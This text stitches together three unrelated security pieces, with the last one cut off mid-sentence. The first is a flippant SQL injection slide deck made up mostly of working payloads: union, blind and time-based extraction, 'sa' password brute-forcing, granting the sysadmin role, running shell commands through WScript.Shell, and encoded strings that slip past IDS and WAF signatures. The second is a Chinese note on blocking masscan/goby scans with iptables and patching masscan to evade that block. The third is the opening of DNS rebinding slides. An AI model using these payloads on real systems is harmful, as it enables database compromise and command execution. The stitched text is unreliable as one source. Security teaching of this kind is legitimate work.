'[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Determining this is what determines if you need a ' or not. Determine the Injection Type I would say that MS-SQL Injection is probably the most fun ;) There is always the possibility of getting access to a stored procedure like xp_cmdshell .......muahahahahahahahahahaha We'll spend a little bit of time on MySQL, and not too much time on Oracle as its injection syntax is fairly similar to MS-SQL. But primarily for the sake of time we'll focus on MS-SQL. Let’s start with MS-SQL syntax http://[site]/page.asp?id=1 or 1=convert(int,(USER))-- Syntax error converting the nvarchar value '[DB USER]' to a column of data type int. Grab the database user with USER Grab the database name with DB_NAME Grab the servername with @@servername Grab the Windows/OS version with @@version Error-Based SQL Injection Syntax for extracting the USER http://[site]/page.asp?id=1 UNION SELECT ALL 1-- All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. http://[site]/page.asp?id=1 UNION SELECT ALL 1,2-- All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3-- All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4-- NO ERROR http://[site]/page.asp?id=null UNION SELECT ALL 1,USER,3,4-- Union-Based SQL Injection Syntax for extracting the USER 3 - Total Characters http://[site]/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- Valid page returns immediately http://[site]/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- Valid page returns immediately http://[site]/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- Valid page returns after 10 second delay Blind SQL Injection Syntax for extracting the USER D - 1st Character http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>97) WAITFOR DELAY '00:00:10' Valid page returns immediately http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'-- Valid page returns immediately http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'-- Valid page returns immediately http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- Valid page returns after 10 second delay Blind SQL Injection Syntax for extracting the USER B - 2nd Character http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Valid page returns immediately http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- (+10 seconds) Valid page returns after 10 second delay Blind SQL Injection Syntax for extracting the USER O - 3rd Character http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Valid page returns immediately http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>98) WAITFOR DELAY '00:00:10'-- Valid page returns immediately .....and so on http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Valid page returns after 10 second delay Database User = DBO Blind SQL Injection Syntax for extracting the USER With MySQL you really only have: * Union-Based * Blind Let’s move on to MySQL syntax With MySQL you will typically use union or true/false blind SQL Injection so you really need to know a lot about the DB you are attacking such as: * number of columns * column names * path to website So you will need to enumerate this information first. The UNION operator is used to combine the result-set of two or more SELECT statements. Notice that each SELECT statement within the UNION must have the same number of columns. The columns must also have similar data types. Also, the columns in each SELECT statement must be in the same order. MySQL http://[site]/page.php?id=1 order by 10/* <-- gives Unknown column „10' in 'order clause' http://[site]/page.php?id=1 order by 5/* <-- gives a valid page http://[site]/page.php?id=1 order by 6/* <-- gives Unknown column '6' in 'order clause' So now we know there are 5 columns. By the way you can do this with MSSQL as well. Column number enumeration http://[site]/page.php?id=1 union all select 1,2,3,4,5/* <-- gives a valid page Change the first part of the query to a null or negative value so we can see what field will echo data back to us. http://[site]/page.php?id=-1 union all select 1,2,3,4,5/* <-- gives a valid page but with the number 2, and 3 on it or http://[site]/page.php?id=null union all select 1,2,3,4,5/* <-- gives a valid page but with the number 2, and 3 on it Now we know that column numbers 2 and 3 will echo data back to us. Building the union http://[site]/page.php?id=null union all select 1,2,3,4,5,6,7/* http://[site]/page.php?id=null union all select 1,2,user(),4,5,@@version,7/* Building the union http://[site]/page.php?id=null union all select 1,user(),3,4,5/* http://[site]/page.php?id=null union all select 1,2,database(),4,5/* http://[site]/page.php?id=null union all select 1,@@version,@@datadir,4,5/* Grab the database user with user() Grab the database name with database() Grab the database version with @@version Grab the database data directory with @@datadir Information Gathering True-False Blind SQL Injection http://www.site.com/page.php?id=66 AND 1=1-- Valid Page http://www.site.com/page.php?id=66 AND 1=2-- Error Page http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 51 3 http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 53 5 http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 52 4 http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 43 + http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 45 - http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 46 . http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 51 3 http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 49 1 http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 48 0 MID() Extract characters from a text field retrieved version: 5.0.45 Basic SQLI Attack Methods Time-Based Blind SQL Injection http://[site]/page.asp?id=1;waitfor+delay+'0:0:5';-- See if it takes 5 seconds to return the page. If it does, then you can ask it questions. http://[site]/page.asp?id=1;if+not(substring((select+@@version),%,1)+<>+5)+waitfor +delay+'0:0:5';-- Ask it if he is running SQL Server 2000 http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:5'-- Ask it if it's running as 'sa' http://[site]/page.asp?id=1;if+is_srvrolemember('sysadmin')+>+0+waitfor+delay+'0:0:5';-- Ask it if the current user a member of the sysadmin group Basic SQLI Attack Methods In the real world exploiting SQL Injection can be difficult. More and more complex dynamic queries are being passed to backend DBs. Also, more and more people know not to run a database as 'sa', and they know to remove the xp_ stored procedures. It's time to up your game. * Ugh...wtf * Privilege Escalation * Re-Enabling stored procedures * Obtaining an interactive command-shell SQL Injection In the Real World You know I always trip out on the fact that lil john is a millionaire and only has a vocabulary of "YEAAAHHHHH", and "WUUUUHAAAATTTT". Here I am hacking into companies and I'm not even close. What am I doing wrong? Maybe I should trade in the shirt, tie, slacks, laptop for a mouth full of gold teeth, dreadlocks, baggy pants, 40 oz, and a phat blunt!!!!! meh..nah...I love hacking too much...YEAAAAAAHHHHH SQL Injection In the Real World http://www.http://www.liljon.com/liljon.asp?lil=' Gives the error: Microsoft OLE DB Provider for SQL Server error '80040e14' http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER))-- Gives the error: Microsoft OLE DB Provider for SQL Server error '80040e14' Incorrect syntax near ')'. Hmm....ok, so it doesn't like that right paren so let's add one more to the end of our query. http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER)))-- Gives the error: Microsoft OLE DB Provider for SQL Server error '80040e07' Conversion failed when converting the nvarchar value 'liljon' to data type int. Now we know every injection from here on out will require the additional right paren.... @@servername()), @@version()), db_name()), etc.... UGGGGHHH.....WTF??? (1) http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(DB_NAME())))- Gives the error: Conversion failed when converting the nvarchar value 'yeaaaaaah' to data type int. http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(@@VERSION)))- Gives the error: Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3054.00 (Intel X86) Mar 23 2007 16:28:52 Copyright (c) 1988-2005 Microsoft Corporation Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int. The database has been enumerated...WUUUUHAATTTTT The database has been enumerated...WUUUUHAATTTTT The database has been enumerated...WUUUUHAATTTTT The database has been enumerated...YEEAAAAAAAHHHHHHHHHHHH!!!!!!!!!!!!!!!!!!!!!!!!!! Liljohn - Shut the f*ck up....OOKAYYY!!!!!!!!!!!!!!!! UGGGGHHH.....WTF??? (1) Cont. http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2-- Received error: The text, ntext, or image data type cannot be selected as DISTINCT. http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO')-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8-- http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,9-- Received error: Operand type clash: text is incompatible with int http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,null-- Tips: 1. Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct. 2. Use NULL in UNION injections for most data type instead of trying to guess string, date, integer UGGGGHHH.....WTF??? (2) Step 1: Brute-Force the 'sa' password http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'JOE','waitfor delay ''0:0:50'';select 1;');&a=1 http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'joe','waitfor delay ''0:0:50'';select 1;');&a=1 http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','waitfor delay ''0:0:50'';select 1;');&a=1 Key point to remember is that we used time-based blind sqli to enumerate the sa account password length. This is a great aid in bruteforcing. Privilege Escalation Step 2: Add current user to admin group http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','exec master..sp_addsrvrolemember ''sa'',''sysadmin'';select 1');&a=1 Key point to remember is that we used time-based blind sqli to enumerate the sa account password length. This is a great aid in bruteforcing. Privilege Escalation Step 3: Recreate the xp_cmdshell stored procedure MSSQL Server 2000 http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1;exec master..sp_dropextendedproc ''xp_cmdshell'';')&a=1 http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1;DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int EXECUTE @OLEResult=sp_OACreate ''WScript.Shell'',@ShellID OUT IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR(''CreateObject %0X'', 14,1,@OLEResult) EXECUTE @OLEResult=sp_OAMethod @ShellID,''Run'',Null,''ping -n 8 127.0.0.1'',0,1IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR (''Run %0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy @ShellID');&a=1 Remember to correctly identify the backend version as this step because MS SQL 2000 handle this differently than MS SQL 2005 Privilege Escalation Step 3: Recreate the xp_cmdshell stored procedure (What's really going on?) select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1; DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int EXECUTE @OLEResult=sp_OACreate ''WScript.Shell'',@ShellID OUT IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR(''CreateObject%0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OAMethod @ShellID,''Run'',Null,''ping -n 8 127.0.0.1'',0,1IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR (''Run %0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy @ShellID');&a=1 Privilege Escalation I know that people often think this stuff is very black and white, cut and dry - but the simple truth with sql injection is sometimes you just have a gut feeling that you are looking at a vulnerable page. You've tried a bunch of things but for some reason nothing seems to be working. You may be facing some sort of filtering. Maybe the developer has attempted to stop sql injection by only allowing alphanumeric characters as input. Filter Evasion The first thing that we want to do is determine if the filtering is client-side (ex: being done with javascript). View source code and look for any parameters being passed to the website that may be filtered with javascript/vbscript and remove them - Save the page locally and remove offending javascript/vbscript or - Use a local proxy (ex: Paros, Webscarab, Burp Suite) Client-Side Filtering Server-side Alphanumeric Filter http://[site]/page.asp?id=2 or 1 like 1 Here we are doing an “or true,” although this time we are using the “like” comparison instead of the “=” sign. We can use this same technique for the other variants such as “and 1 like 1” or “and 1 like 2” http://[site]/page.asp?id=2 and 1 like 1 http://[site]/page.asp?id=2 and 1 like 2 Restrictive Blacklist The key to IDS/IPS evasion is knowing that there is one in place. With an IPS you can use something like Active Filter Detection or you can try something REALLY noisy from another IP address to see if your IP gets blocked. Depending of the scope of your engagement you may or may not really be able to identify when an IDS is in use because it's passive in nature. I've honestly found this side of the house to be more proof-of-concept, and just having fun as opposed to something I've actually needed on assessments. Signature Based IDS Signature 1 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”; flow: to_server, established; content: “' or 1=1 --”; nocase; sid: 1; rev:1;) Bypass Techniques: http://[site]/page.asp?id=2 or 2=2-- http://[site]/page.asp?id=2 or 1<2-- http://[site]/page.asp?id=2 or 1 like 1-- http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2-- ....c'mon everyone name some more Signature Negatives - Having the ' in the signature will cause you to miss attacks that don't utilize the ' - 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc) If this signature is so easily bypassed, what is it actually good for? Answer: It's great for automated tools and kiddies Signature Based IDS (1) Signature Based IDS (My Opinion) Signature 2 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”; flow: to_server, established; pcre: “/(and|or) 1=1 (\-\-|\/\*|\#)/i”; sid: 1; rev:2;) Bypass Techniques: http://[site]/page.asp?id=2 or 2=2%2D%2D http://[site]/page.asp?id=2 or 1<2%2D%2D http://[site]/page.asp?id=2 or 1 like 1%2D%2D http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2%2D%2D ....c'mon everyone name some more Signature Negatives - 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc) - Comments like pretty much anything else can be represented in other encoding type (ex: (%2D%2D = --) - It is possible to attack an sql injection vulnerability without using comments If this signature is so easily bypassed, what is it actually good for? Answer: Again, it's great for automated tools and kiddies Signature Based IDS (2) Signature 3-5 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/select.*from.*(\-\-|\/\*|\#)/i”; sid: 2; rev: 1;) alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection UNION statement”; flow: to_server, established; pcre:”/union.*(\-\-|\/\*|\#)/i”; sid: 3; rev: 1;) Bypass Techniques: http://[site]/page.asp?id=2 or 2 in (%73%65%6C%65%63%74%20%75%73%65%72)%2D%2D http://[site]/page.asp?id=2 or 2 in (select user)-- http://[site]/page.asp?id=-2 %55%4E%49%4F%4E%20%41%4C%4C%20%73%65%6C%65%63%74%201,2,3,(%73%65%6C %65%63%74%20%75%73%65%72),5,6,7%2D%2D http://[site]/page.asp?id=-2 UNION ALL select 1,2,3,(select user),5,6,7-- ....c'mon everyone name some more Signature Negatives - Although sigs 3-5 are much better, they don't consider the attacker may use different encoding types such as hex Signature Based IDS (3-5) Signature 6 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/(s|%73)(e|%65)(l|%6C)(e|%65)(c|%63)(t|%74).*(f|%66)(r|%72)(o|%6F)(m|%6D).*(\-\-|\/\*|\#)/i”; sid: 2; rev2;) Signature 7 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/(s|%73|%53)(e|%65|%45)(l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%66|%46)(r|%72|%52)(o| %6F|%4F)(m|%6D|%4D).*(\-\-|\/\*|\#)/i”; sid: 2; rev: 3;) At least signature 7 takes into account case sensitivity with hex encoding. But..... There are always other encoding types that the attacker can use... Signature Based IDS (6-7) Practice Your Kung Fu: PHPIDS Practice Your Kung Fu: PHPIDS The real trick for each of these techniques is to understand that this is just like IDS evasion in the service based exploitation side of the house. You have to make sure that your attack actually works. It's easy to bypass an IDS, but you can just as easily end up with your attack bypassing the IDS, but not working at all. With this in mind you can mix/match the IDS evasion tricks - it's just a matter of understanding the regex in use. http://[site]/page.asp?id=2%20or%202%20in%20(/*IDS*/%73/*evasion*/%65/*is*/ %6C/*easy*/%65/*just*/%63/*ask*/%74/*j0e*/%20%75/*to*/%73/*teach*/%65/*you*/ %72/*how*/)%2D%2D What is passed to the db http://[site]/page.asp?id=2 or 2 in (select user)-- in comments ("IDS evasion is easy just ask j0e to teach you how") Signature Based IDS WAFs are surprisingly easy to detect? Generally you just have to send 1 valid request, and one malicious request and diff the response. Malicious tends to be any HTTP request that has a payload that contains things like: ' “ < ? # - | ^ * Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Curl curl -i http://targetcompany.com/cmd.exe | grep "501 Method" Netcat $ (echo "GET /cmd.exe HTTP/1.1"; echo "Host: targetcompany.com"; echo) | nc targetcompany.com | grep "501 Method Not Implemented" If the server responds with error code “501 Method Not Implemented” then it is running mod_security. Curl curl -i http://www.targetcompany.com/%27 HTTP/1.1 999 No Hacking Server: WWW Server/1.1 Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Gary O'Leary-Steele http://packetstormsecurity.org/web/unicode-fun.txt [j0e@LinuxLaptop toolz]$ ruby unicode-fun.rb Enter string to URL Unicode:<script>alert('XSS')</script> %u003c%uff53%uff43%uff52%uff49%uff50%uff54%u003e%uff41%uff4c%uff45%uff52%uff 54%uff08%u02b9%uff38%uff33%uff33%u02b9%uff09%u003c%u2215%uff53%uff43%uff52 %uff49%uff50%uff54%u003e Curl curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c %65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e HTTP/1.1 404 Not Found Date: Sat, 14 Mar 2009 19:13:10 GMT Server: Apache Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Curl curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c %65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e HTTP/1.1 200 Condition Intercepted Date: Sun, 15 Mar 2009 01:42:01 GMT Server: Apache Identifying Web Application Firewalls DotNet Defender WAF Bypassing DotNet Defender DotNet Defender Dumping Admin PW – sorry DotNet Defender SQL Tutorials: http://www.sql-tutorial.net/ SQL Injection Tutorials http://www.securitydocs.com/library/3587 http://www.astalavista.com/index.php?section=docsys&cmd=details&id=42 SQL Injection Cheatsheets: http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/ http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/ Basic References Lots, and lots, and lots of late nights with rum and coke at my side... Paul Battista's ToorCon 9 Presentation http://www.securityexperiment.com/se/documents/Overlooked%20SQL%20Injection%2020071021.pdf Brad Warneck's GCIA Paper http://www.giac.org/certified_professionals/practicals/gcia/1231.php References For This Presentation You want the presentation????? Buy me a rum and coke tonight.... You can contact me at: Email: [email protected] Twitter: http://twitter.com/j0emccray LinkedIn: http://www.linkedin.com/in/joemccray Download This Presentation
pdf
简单规则屏蔽goby和masscan  0x00 前⾔  和橙⼦酱讨论了⼀下扫描特征的问题,橙⼦酱提到masscan有固定特征可以被识别,因此记录⼀ 下。 0x01 扫描特征  根据⽂章描述 意思⼤概是nmap⾥的tcp-option字段为4个字节,这是⼀个特征,因此可以使⽤IP上图⾥的 iptables规则直接把nmap的端⼝扫描流量给丢弃掉。对应到wireshark抓包来看是这个字段: 这是⼀个nmap的sT扫描的抓包实例,在tcp option这个字段是24字节,和前⾯说的有所不同,经 过抓包来看正常的tcp请求这个tcp option也是24字节为多。因此这个特征并不存在于nmap的新版 之中。 0x02 masscan的特征  上⾯抓包看的是新版本的nmap,但是历史⽂章既然有了,那么可以猜测到这个特征是历史版本的 nmap所具备的。引申开来的话,masscan是否具备该特征? 橙⼦酱抓包看了后发现确实masscan的新版本也具备这个特征,我们来看看抓包截图 对应到同⼀个字段,masscan确实是4字节,因此这个特征对masscan是适⽤的。 ⽐较有趣的是我做测试的时候⽤的是goby,因为goby在端⼝扫描的时候是调⽤的masscan,因此 goby也受到这个特征的影响! 换句话说,只要我把iptables的规则⼀配,goby就再也扫不到我的端⼝了! 0x03 如何修改特征  为了修改这个特征我们需要去下载masscan的源码 想要快速定位到代码,我们看⼀下搜索特征 我在github直接搜索1460看看 很显然看到了⼀摸⼀样的特征字段在 /src/templ-pkt.c 这⾥猜测是使⽤这个默认的tcp模版来⽣成的tcp请求,因此在最后的options改⼀下,改成和正常 请求的options⼀样即可。
pdf
State of DNS Rebinding Attack & Prevention Techniques and the Singularity of Origin Gérald Doussot & Roger Meyer | DEF CON 27 New Tool: Singularity ● Everything you need for DNS rebinding ● Reliable: Default settings just work ● Performant: up to 20x faster (3s vs 60s) ● Built-in payloads: Jenkins, Rails, AWS Instance Metadata, etc... ● Autopwn: Networks & services scan, service detection and auto-exploitation Contributions Neat Technical Details/Techniques ● Speed: Multiple DNS answers and cache flooding ● Protection Bypasses: 3 different bypasses for common DNS rebinding protections ○ Using DNS trickery ● Hook/Control - Interactively browse the victim’s internal network ○ Websocket proxying, no HTTP proxy needed! Agenda ● A Refresher on DNS Rebinding ● DNS Rebinding Attack: Building on reliable foundations ● The Need for Speed: DNS rebinding in 3 seconds ● Protection Bypasses: 3 different bypasses for common DNS rebinding protections ● Hook and Control: Interactively browse the victim’s internal network ● Scanning for Vulnerable Host Services ● Automation: Service detection & exploitation and orchestrating all the above Introduction Who Are We ● Gérald Doussot and Roger Meyer ● Security consultants at ● San Francisco, CA ● Authors of Singularity of Origin, a DNS Rebinding Attack Framework https://github.com/nccgroup/singularity Why Should You Care About DNS Rebinding bind 0.0.0.0 Why Should You Care About DNS Rebinding bind 127.0.0.1 Why Should You Care About DNS Rebinding Why Should You Care About DNS Rebinding Why Should You Care About DNS Rebinding Why Should You Care About DNS Rebinding Why Should You Care About DNS Rebinding Why Should You Care About DNS Rebinding Why Should You Care About DNS Rebinding ● Prevalence of apps exposing HTTP servers on localhost (e.g. Electron) ● IoT devices exposing sensitive interfaces on internal networks ● Misconceptions ○ DNS rebinding is slow ○ DNS rebinding can be solved by out-of-the-box DNS filtering products or services A Refresher on DNS Rebinding On the Origin of Web Documents The “Origin” of a resource is a tuple consisting of scheme, host and port. Two documents A and B share the “same-origin” if they have identical scheme, host and port components. ● https://mysite.com/hello.html and https://mysite.com/world.html ✔ ● https://mysite.com/hello.html and https://attacker.com/hello.html ✖ On the Origin of Web Documents The “same-origin policy” dictates how two different origins may interact. These interactions between origins are typically permitted: form submissions, links, redirects, content embedding (JavaScript, CSS). Cross-origin reads are typically not allowed e.g. reading the content of an HTML document located on gmail.com from site attacker.com. DNS Rebinding permits to bypass restrictions imposed by the same-origin policy. DNS Rebinding Attack Walkthrough Attacker DNS & Web Server 35.185.206.165 Target Service 127.0.0.1 Victim (Browser) Intranet Internet DNS Rebinding Attack Walkthrough Attacker DNS & Web Server 35.185.206.165 Target Service 127.0.0.1 Victim (Browser) Intranet Internet Unauthenticated access DNS Rebinding Attack Walkthrough Attacker DNS & Web Server 35.185.206.165 Target Service 127.0.0.1 Victim (Browser) Intranet Internet Unauthenticated access Blocked DNS Rebinding Attack Walkthrough DNS query rebind.it Attacker DNS & Web Server 35.185.206.165 Target Service 127.0.0.1 Victim (Browser) DNS Rebinding Attack Walkthrough DNS query rebind.it DNS A record response: 35.185.206.165 Attacker DNS & Web Server 35.185.206.165 Target Service 127.0.0.1 Victim (Browser) DNS Rebinding Attack Walkthrough DNS query rebind.it DNS A record response: 35.185.206.165 DNS cache expires; DNS query rebind.it Attacker DNS & Web Server 35.185.206.165 Target Service 127.0.0.1 Victim (Browser) DNS Rebinding Attack Walkthrough DNS query rebind.it DNS A record response: 35.185.206.165 DNS cache expires; DNS query rebind.it DNS A record response: 127.0.0.1 Attacker DNS & Web Server 35.185.206.165 Target Service 127.0.0.1 Victim (Browser) DNS Rebinding Attack Walkthrough DNS query rebind.it DNS A record response: 35.185.206.165 DNS cache expires; DNS query rebind.it DNS A record response: 127.0.0.1 GET/POST request to 127.0.0.1 Attacker DNS & Web Server 35.185.206.165 Target Service 127.0.0.1 Victim (Browser) Learning More About the Basics of DNS Rebinding ● [2017] DEF CON 25 - Luke Young - There’s no place like 127.001: Achieving reliable DNS rebinding (https://youtu.be/Q0JG_eKLcws) ● [2010] Black Hat USA & DEF CON 18 - Craig Heffner - How to hack millions of routers (https://youtu.be/VAaqABpjiUQ / https://youtu.be/Zazk0plSoQg) ● [2007] 24C3 - Dan Kaminsky - DNS Rebinding And More Packet Tricks (https://youtu.be/YwbpnZe74ds) ● [2018] NorthSec - Danny Cooper & Allan Wirth - Homeward Bound: Scanning Private IP Space with DNS Rebinding (https://youtu.be/9iSvAS6IdiM) ● [2013] WOOT '13 - Yunxing Dai, Ryan Resig - FireDrill: Interactive DNS Rebinding (https://www.usenix.org/conference/woot13/workshop-program/presentation/Dai) ● [2007] Stanford University - Protecting Browsers from DNS Rebinding Attacks (https://crypto.stanford.edu/dns/) iOS Demo: DNS rebinding in 5 s (cache flooding) DNS Rebinding Attack: Building on Reliable Foundations You Visit a Completely Innocuous Looking Website Malicious JavaScript Code Downloaded. Sending First DNS Query... What’s in a Query? Example DNS query from a browser to Singularity DNS server: s-35.185.206.165-127.0.0.1-3504134790-fs-e.d.rebind.it ● (s)tart ● 35.185.206.165: Attacker Host IP Address ● 127.0.0.1: Target Service IP Address or Name ● 3504134790: Session ID ● fs: DNS Rebinding Strategy - “first then second” IP address. ● (e)nd ● d.rebind.it: Attack Host Domain Removing HTTP Performance Enhancing Techniques That Impede DNS Rebinding HTTP Caching - We want the browser to get fresh copies of resources. Keep-Alive - We don’t want the browser to stick to the attacker’s server. TTL Values # 1st query $ dig +noall +answer s-35.185.206.165-127.0.0.1-123-fs-e.d.rebind.it S-35.185.206.165-127.0.0.1-123-fs-e.d.rebind.it. 0 IN A 35.185.206.165 # 2nd query $ dig +noall +answer s-35.185.206.165-127.0.0.1-123-fs-e.d.rebind.it s-35.185.206.165-127.0.0.1-123-fs-e.d.rebind.it. 0 IN A 127.0.0.1 Why not 1 second? We hoped 0 second would break stuff[1]. It did not so far, as far as we know, it is a legitimate value[2]. [1] https://mark.lindsey.name/2009/03/09/never-use-dns-ttl-of-zero-0/ [2] https://tools.ietf.org/html/rfc2181#page-10 How Do We Know We’ve Successfully Rebinded? Two ways to differentiate the attacker server from the target service: $ curl -v http://s-35.185.206.165-127.0.0.1-3504134792-fs-e.d.rebind.it:8080/ (...) HTTP/1.1 200 OK X-Singularity-Of-Origin: t # Custom HTTP Header (...) <!--thisismytesttoken--><!doctype html><title>(...) # Index Token Randomness and Catering for Potential Interference IPS/IDS/other interference via spurious DNS queries ● Challenge: the environment IPS/IDS may make their own queries to the attacker domains in addition to the target, resulting in incorrect DNS/out of sequence DNS answers for the target. ● Solution: Use the random DNS rebinding strategy. ● Slower technique in general (but you could get lucky!). The Need for Speed: DNS Rebinding in 3 Seconds Implementation Details Matter! DNS Rebinding speed varies based on a number of factors: ● OS implementation: Windows or Unix-like (Linux, macOS) ● Browser vendor: IE/Edge, Firefox, Chrome/Chromium Edge, Safari ● Target specification: local, remote ● External factors: Spurious DNS queries e.g. presence of IPS/IDS DNS rebinding may take 40+ min or ~3s on Edge depending on the strategy! We can automatically fingerprint to optimize for speed in some conditions. More on this later! Multiple Answers Rebinding Strategy with Targets 127.0.0.1 / 0.0.0.0 The time-varying (Singularity’s “first then second”) DNS rebinding technique is ~60 seconds on all browsers except IE/Edge. Multiple answers (respond with attacker and target addresses, then block attacker with ephemeral firewall rule) is near instantaneous. 127.0.0.1 works on Windows only. We got it to work on Unix-y machines (Linux, macOS) with “0.0.0.0”. Solid and fast DNS rebinding against all “localhost” services. Multiple Answers Rebinding Strategy Illustrated Target Browser Attacker DNS & Web Server 35.185.206.165 Target Service 127.0.0.1 DNS query rebind.it DNS A record response: 1. 35.185.206.165 2. 127.0.0.1 t: 0s - HTTP request 1 t: 2s - HTTP request 3 t: 1s - HTTP request 2 Blocked! DNS Cache Flooding Multiple Answers works well for the loopback (0.0.0.0 or 127.x.x.x) interface - inconsistent results for other target specifications. On Google Chrome or Safari/iOS platforms, when flooding the DNS cache with 1K+ queries for which we receive valid answers, we observe DNS rebinding time with the time varying attack technique (first then second) of 5 to 40 seconds, a substantial progress over the average of ~60 seconds. Flooding the cache is performed in a web worker. Speed Measured / Target Definition Browser OS Strategy Time to Exploit Fetch Interval Target Spec Windows 10 MA 3 seconds 1 second 127.0.0.1 Ubuntu MA 3 seconds 1 second 0.0.0.0 macOS MA 3 seconds 1 second 0.0.0.0 macOS,Ubuntu, Windows FS+Cache Flooding 15-40 seconds 1 second Any iOS FS+Cache Flooding 5 seconds 1 second Any Protection Bypasses DNS Rebinding Protection Bypasses ● Singularity can bypass 